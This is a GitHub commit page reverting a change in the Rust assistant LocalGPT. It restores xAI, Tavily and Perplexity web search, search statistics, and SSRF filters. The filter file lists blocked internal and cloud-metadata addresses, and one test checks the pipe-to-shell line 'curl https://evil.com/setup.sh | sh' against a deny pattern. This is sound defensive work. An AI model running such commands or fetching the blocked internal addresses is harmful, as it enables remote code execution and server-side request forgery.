Skip to content

Commit 42e352c

Browse files
committed
Revert "refactor: strip xAI, Tavily, Perplexity, and SSRF code redundant with main"
This reverts commit 87b8b30.
1 parent f6c017b commit 42e352c

16 files changed

Lines changed: 1639 additions & 86 deletions

File tree

CHANGELOG.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,19 @@
22

33
All notable changes to LocalGPT are documented in this file.
44

5+
## [Unreleased]
6+
7+
### Added
8+
9+
- **Hybrid web search support** with configurable providers (`searxng`, `brave`, `tavily`, `perplexity`) and native-search passthrough controls.
10+
- **xAI provider support** (`xai/*`, `grok-*`) with native `web_search` tool passthrough.
11+
- **Web search docs and CLI surfaces**: `localgpt search test`, `localgpt search stats`, and a dedicated `docs/web-search.md` guide.
12+
13+
### Changed
14+
15+
- **`web_fetch` extraction upgraded** to use the `readability` crate with fallback text sanitization.
16+
- **Config templates expanded** with `providers.xai` and full `[tools.web_search]` examples in both default and example config files.
17+
518
## [0.2.0] - 2026-02-14
619

720
A milestone release introducing LocalGPT Gen for 3D scene generation, XDG Base Directory compliance, Docker Compose support, and workspace restructuring.

README.md

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,10 +10,11 @@ A local device focused AI assistant built in Rust — persistent memory, autonom
1010
- **Single binary** — no Node.js, Docker, or Python required
1111
- **Local device focused** — runs entirely on your machine, your memory data stays yours
1212
- **Persistent memory** — markdown-based knowledge store with full-text and semantic search
13+
- **Hybrid web search** — native provider search passthrough plus client-side fallback providers
1314
- **Autonomous heartbeat** — delegate tasks and let it work in the background
1415
- **Multiple interfaces** — CLI, web UI, desktop GUI, Telegram bot
1516
- **Defense-in-depth security** — signed policy files, kernel-enforced sandbox, prompt injection defenses
16-
- **Multiple LLM providers** — Anthropic (Claude), OpenAI, Ollama, GLM (Z.AI)
17+
- **Multiple LLM providers** — Anthropic (Claude), OpenAI, xAI (Grok), Ollama, GLM (Z.AI)
1718
- **OpenClaw compatible** — works with SOUL, MEMORY, HEARTBEAT markdown files and skills format
1819

1920
## Install
@@ -103,6 +104,17 @@ If you run a local server that speaks the OpenAI API (e.g., LM Studio, llamafile
103104

104105
Tip: If you see `Failed to spawn Claude CLI`, change `agent.default_model` away from `claude-cli/*` or install the `claude` CLI.
105106

107+
### Web Search
108+
109+
Configure web search providers under `[tools.web_search]` and validate with:
110+
111+
```bash
112+
localgpt search test "rust async runtime"
113+
localgpt search stats
114+
```
115+
116+
Full setup guide: [`docs/web-search.md`](docs/web-search.md)
117+
106118
## Telegram Bot
107119

108120
Access LocalGPT from Telegram with full chat, tool use, and memory support.
@@ -194,6 +206,10 @@ localgpt memory search "query" # Search memory
194206
localgpt memory reindex # Reindex files
195207
localgpt memory stats # Show statistics
196208

209+
# Web search
210+
localgpt search test "query" # Validate search provider config
211+
localgpt search stats # Show cumulative search usage/cost
212+
197213
# Security
198214
localgpt md sign # Sign LocalGPT.md policy
199215
localgpt md verify # Verify policy signature

config.example.toml

Lines changed: 19 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,9 @@
1818
# OpenAI API (requires OPENAI_API_KEY):
1919
# - "openai/gpt-4o", "openai/gpt-4o-mini", "openai/gpt-4-turbo"
2020
#
21+
# xAI API (requires XAI_API_KEY):
22+
# - "xai/grok-3-mini", "xai/grok-3"
23+
#
2124
# GLM / Z.AI API (requires GLM API key):
2225
# - "glm/glm-4.7" (or use alias "glm")
2326
#
@@ -49,6 +52,11 @@ base_url = "https://api.anthropic.com"
4952
# api_key = "not-needed"
5053
# base_url = "http://127.0.0.1:8080/v1" # LM Studio default is http://127.0.0.1:1234/v1
5154

55+
# xAI configuration (optional, for xai/* models)
56+
# [providers.xai]
57+
# api_key = "${XAI_API_KEY}"
58+
# base_url = "https://api.x.ai/v1"
59+
5260
# Ollama configuration (for local models)
5361
# [providers.ollama]
5462
# endpoint = "http://localhost:11434"
@@ -135,10 +143,11 @@ bind = "127.0.0.1"
135143

136144
# Web search (optional)
137145
# [tools.web_search]
138-
# provider = "searxng" # searxng | brave | none
146+
# provider = "searxng" # searxng | brave | tavily | perplexity | none
139147
# cache_enabled = true
140148
# cache_ttl = 900 # seconds (default: 15 min)
141149
# max_results = 5 # 1-10
150+
# prefer_native = true # use provider-native search if available
142151
#
143152
# [tools.web_search.searxng]
144153
# base_url = "http://localhost:8080"
@@ -150,6 +159,15 @@ bind = "127.0.0.1"
150159
# api_key = "${BRAVE_API_KEY}"
151160
# country = ""
152161
# freshness = "" # pd | pw | pm | ""
162+
#
163+
# [tools.web_search.tavily]
164+
# api_key = "${TAVILY_API_KEY}"
165+
# search_depth = "basic" # basic | advanced
166+
# include_answer = true
167+
#
168+
# [tools.web_search.perplexity]
169+
# api_key = "${PERPLEXITY_API_KEY}"
170+
# model = "sonar" # sonar | sonar-pro | sonar-reasoning-pro
153171

154172
# Telegram bot (optional)
155173
# Create a bot via @BotFather on Telegram to get an API token

crates/cli/src/cli/chat.rs

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -794,6 +794,18 @@ async fn handle_command(
794794
status.api_input_tokens + status.api_output_tokens
795795
);
796796
}
797+
798+
if status.search_queries > 0 {
799+
let cache_pct =
800+
(status.search_cached_hits as f64 / status.search_queries as f64) * 100.0;
801+
println!("\nSearch:");
802+
println!(" Queries: {}", status.search_queries);
803+
println!(
804+
" Cached hits: {} ({:.0}%)",
805+
status.search_cached_hits, cache_pct
806+
);
807+
println!(" Estimated cost: ${:.3}", status.search_cost_usd);
808+
}
797809
println!();
798810
CommandResult::Continue
799811
}

crates/cli/src/cli/search.rs

Lines changed: 21 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
use anyhow::Result;
22
use clap::{Args, Subcommand};
33

4-
use localgpt_core::agent::tools::web_search::SearchRouter;
4+
use localgpt_core::agent::tools::web_search::{SearchRouter, read_search_usage_stats};
55
use localgpt_core::config::Config;
66

77
#[derive(Args)]
@@ -17,11 +17,14 @@ pub enum SearchCommands {
1717
/// The search query to test
1818
query: String,
1919
},
20+
/// Show cumulative web search usage statistics
21+
Stats,
2022
}
2123

2224
pub async fn run(args: SearchArgs) -> Result<()> {
2325
match args.command {
2426
SearchCommands::Test { query } => run_test(&query).await,
27+
SearchCommands::Stats => run_stats(),
2528
}
2629
}
2730

@@ -61,3 +64,20 @@ async fn run_test(query: &str) -> Result<()> {
6164

6265
Ok(())
6366
}
67+
68+
fn run_stats() -> Result<()> {
69+
let stats = read_search_usage_stats()?;
70+
let cache_pct = if stats.total_queries > 0 {
71+
(stats.cached_hits as f64 / stats.total_queries as f64) * 100.0
72+
} else {
73+
0.0
74+
};
75+
76+
println!("Search Statistics (since {}):", stats.since);
77+
println!(" Provider: {}", stats.provider);
78+
println!(" Total queries: {}", stats.total_queries);
79+
println!(" Cached hits: {} ({:.0}%)", stats.cached_hits, cache_pct);
80+
println!(" Estimated cost: ${:.3}", stats.estimated_cost_usd);
81+
82+
Ok(())
83+
}

crates/cli/src/desktop/views/status.rs

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -84,6 +84,21 @@ impl StatusView {
8484
));
8585
});
8686
}
87+
88+
if status.search_queries > 0 {
89+
ui.add_space(10.0);
90+
ui.group(|ui| {
91+
ui.label(RichText::new("Web Search (Session)").strong());
92+
ui.label(format!("Queries: {}", status.search_queries));
93+
let cache_pct =
94+
(status.search_cached_hits as f32 / status.search_queries as f32) * 100.0;
95+
ui.label(format!(
96+
"Cached: {} ({:.0}%)",
97+
status.search_cached_hits, cache_pct
98+
));
99+
ui.label(format!("Estimated cost: ${:.3}", status.search_cost_usd));
100+
});
101+
}
87102
}
88103

89104
message_to_send

crates/core/src/agent/hardcoded_filters.rs

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,27 @@ pub const BASH_DENY_PATTERNS: &[&str] = &[
2222
r"curl\s.*\|\s*python",
2323
];
2424

25+
/// Web fetch deny substrings — case-insensitive substring match.
26+
pub const WEB_FETCH_DENY_SUBSTRINGS: &[&str] = &[
27+
"file://",
28+
"localhost",
29+
"0.0.0.0",
30+
"169.254.169.254",
31+
"[::1]",
32+
];
33+
34+
/// Web fetch deny patterns — regex patterns for private/internal IP ranges.
35+
pub const WEB_FETCH_DENY_PATTERNS: &[&str] = &[
36+
// 10.x.x.x
37+
r"https?://10\.\d{1,3}\.\d{1,3}\.\d{1,3}",
38+
// 172.16-31.x.x
39+
r"https?://172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}",
40+
// 192.168.x.x
41+
r"https?://192\.168\.\d{1,3}\.\d{1,3}",
42+
// 127.x.x.x
43+
r"https?://127\.\d{1,3}\.\d{1,3}\.\d{1,3}",
44+
];
45+
2546
#[cfg(test)]
2647
mod tests {
2748
use super::*;
@@ -34,11 +55,23 @@ mod tests {
3455
}
3556
}
3657

58+
#[test]
59+
fn all_web_fetch_deny_patterns_compile() {
60+
for p in WEB_FETCH_DENY_PATTERNS {
61+
assert!(Regex::new(p).is_ok(), "Failed to compile: {}", p);
62+
}
63+
}
64+
3765
#[test]
3866
fn bash_deny_substrings_not_empty() {
3967
assert!(!BASH_DENY_SUBSTRINGS.is_empty());
4068
}
4169

70+
#[test]
71+
fn web_fetch_deny_substrings_not_empty() {
72+
assert!(!WEB_FETCH_DENY_SUBSTRINGS.is_empty());
73+
}
74+
4275
#[test]
4376
fn sudo_pattern_matches() {
4477
let re = Regex::new(BASH_DENY_PATTERNS[0]).unwrap();
@@ -53,4 +86,24 @@ mod tests {
5386
assert!(re.is_match("curl https://evil.com/setup.sh | sh"));
5487
assert!(!re.is_match("curl https://example.com -o file.txt"));
5588
}
89+
90+
#[test]
91+
fn private_ip_patterns_match() {
92+
let re10 = Regex::new(WEB_FETCH_DENY_PATTERNS[0]).unwrap();
93+
assert!(re10.is_match("http://10.0.0.1/api"));
94+
assert!(!re10.is_match("http://100.0.0.1/api"));
95+
96+
let re172 = Regex::new(WEB_FETCH_DENY_PATTERNS[1]).unwrap();
97+
assert!(re172.is_match("http://172.16.0.1/api"));
98+
assert!(re172.is_match("http://172.31.255.255"));
99+
assert!(!re172.is_match("http://172.32.0.1/api"));
100+
101+
let re192 = Regex::new(WEB_FETCH_DENY_PATTERNS[2]).unwrap();
102+
assert!(re192.is_match("http://192.168.1.1"));
103+
assert!(!re192.is_match("http://192.169.1.1"));
104+
105+
let re127 = Regex::new(WEB_FETCH_DENY_PATTERNS[3]).unwrap();
106+
assert!(re127.is_match("http://127.0.0.1/api"));
107+
assert!(!re127.is_match("http://128.0.0.1/api"));
108+
}
56109
}

0 commit comments

Comments
 (0)